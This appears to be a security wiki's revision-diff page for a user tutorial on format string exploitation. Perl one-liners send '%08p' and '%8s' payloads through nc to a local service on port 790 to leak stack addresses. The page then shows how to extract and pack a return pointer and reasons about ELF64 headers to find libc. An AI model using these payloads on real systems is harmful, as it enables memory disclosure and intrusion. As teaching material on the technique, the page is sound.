Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "User:Hatter/format strings"

From NetSec
Jump to: navigation, search
(Created page with "Once a vulnerability has been identified, determine the return pointer like so: root /var/log # perl -e 'print "AAAA\n" . "%08p\n"x7;'|nc localhost 790 AAAA 0x7...")
 
Line 16: Line 16:
 
pointer is located at 0x7fffd1c1f438.  So:
 
pointer is located at 0x7fffd1c1f438.  So:
  
1. Reverse and chop the address for binary : \x38\xf4\xc1\xd1\xff\x7f
+
# Reverse and chop the address for binary : \x38\xf4\xc1\xd1\xff\x7f
2. Arbitrarily set arguments using some pointer manipulation:
+
# Arbitrarily set arguments using some pointer manipulation:
  
 
   root /var/log # perl -e 'print "\x38\xf4\xc1\xd1\xff\x7f\n" . "%08p\n"x6 . "%8s\n\nPADDINGPADDINGPADDING\n";'|nc localhost 790|hexdump -C
 
   root /var/log # perl -e 'print "\x38\xf4\xc1\xd1\xff\x7f\n" . "%08p\n"x6 . "%8s\n\nPADDINGPADDINGPADDING\n";'|nc localhost 790|hexdump -C
Line 29: Line 29:
  
  
3. Extract the return pointer - we know padding comes immediately after it, which
+
* Extract the return pointer - we know padding comes immediately after it, which
 
puts our return pointer on the following two lines:
 
puts our return pointer on the following two lines:
  
Line 35: Line 35:
 
   00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|
 
   00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|
  
4. Trim and pack the pointer:
+
* Trim and pack the pointer:
 
     A)  
 
     A)  
 
                                               20 20 81 fc c1  |).  (nil).  ...|
 
                                               20 20 81 fc c1  |).  (nil).  ...|
Line 50: Line 50:
  
  
Now that we know the return pointer, there are a few things that can be quickly inferred due to our knowledge
+
Now that we know the return pointer, there are a few things that can be quickly inferred due to our knowledge of the ELF64 binary file format.  In review:
of the ELF64 binary file format.  In review:
+
:* The base pointer always ends in two zero's, at offset 0x1 from the base pointer is the string ELF.
        * The base pointer always ends in two zero's, at offset 0x1 from the base pointer is the string ELF.
+
:* The program header size is stored in the ELF header.
        * The program header size is stored in the ELF header.
+
:* At offset 0x130 + base is always the first program header pointing to the dynamic section.
        * At offset 0x130 + base is always the first program header pointing to the dynamic section.
+
:* The first byte of the program header for an export table is 0x05  
        * The first byte of the program header for an export table is 0x05  
+
:* It is highly probable that libc's SSP etc are active, and so our "return pointer" probably points somewhere inside of libc
        * It is highly probable that libc's SSP etc are active, and so our "return pointer" probably  
+
          points somewhere inside of libc
+

Revision as of 19:02, 4 December 2012

Once a vulnerability has been identified, determine the return pointer like so:

 root /var/log # perl -e 'print "AAAA\n" . "%08p\n"x7;'|nc localhost 790           
 AAAA
 0x7fffd1c1f430
 0x7f567d0ed140
 0xffffffff
  (nil)
  (nil)
  (nil)
 0x7fffd1c1f938

In this case, there were no additional arguments passed to sprintf(), so we can deduce that 0x7fffd1c1f430 is the current stack pointer. Obviously if this is the second argument and there is no third argument, this indicates that the ret pointer is located at 0x7fffd1c1f438. So:

  1. Reverse and chop the address for binary : \x38\xf4\xc1\xd1\xff\x7f
  2. Arbitrarily set arguments using some pointer manipulation:
 root /var/log # perl -e 'print "\x38\xf4\xc1\xd1\xff\x7f\n" . "%08p\n"x6 . "%8s\n\nPADDINGPADDINGPADDING\n";'|nc localhost 790|hexdump -C
 00000000  38 f4 c1 d1 ff 7f 0a 30  78 37 66 66 66 64 31 63  |8......0x7fffd1c|
 00000010  31 66 34 33 30 0a 30 78  37 66 35 36 37 64 30 65  |1f430.0x7f567d0e|
 00000020  64 31 34 30 0a 30 78 66  66 66 66 66 66 66 66 0a  |d140.0xffffffff.|
 00000030  20 20 20 28 6e 69 6c 29  0a 20 20 20 28 6e 69 6c  |   (nil).   (nil|
 00000040  29 0a 20 20 20 28 6e 69  6c 29 0a 20 20 81 fc c1  |).   (nil).  ...|
 00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|


  • Extract the return pointer - we know padding comes immediately after it, which

puts our return pointer on the following two lines:

 00000040  29 0a 20 20 20 28 6e 69  6c 29 0a 20 20 81 fc c1  |).   (nil).  ...|
 00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|
  • Trim and pack the pointer:
   A) 
                                             20 20 81 fc c1  |).   (nil).  ...|
       00000050  d1 ff 7f 0a 0a
   B) The most recent return pointer (inside the binary's stack) is  0x7fffd1c1fc81
   C) \x81\xfc\xc1\xd1\xff\x7f




Now that we know the return pointer, there are a few things that can be quickly inferred due to our knowledge of the ELF64 binary file format. In review:

  • The base pointer always ends in two zero's, at offset 0x1 from the base pointer is the string ELF.
  • The program header size is stored in the ELF header.
  • At offset 0x130 + base is always the first program header pointing to the dynamic section.
  • The first byte of the program header for an export table is 0x05
  • It is highly probable that libc's SSP etc are active, and so our "return pointer" probably points somewhere inside of libc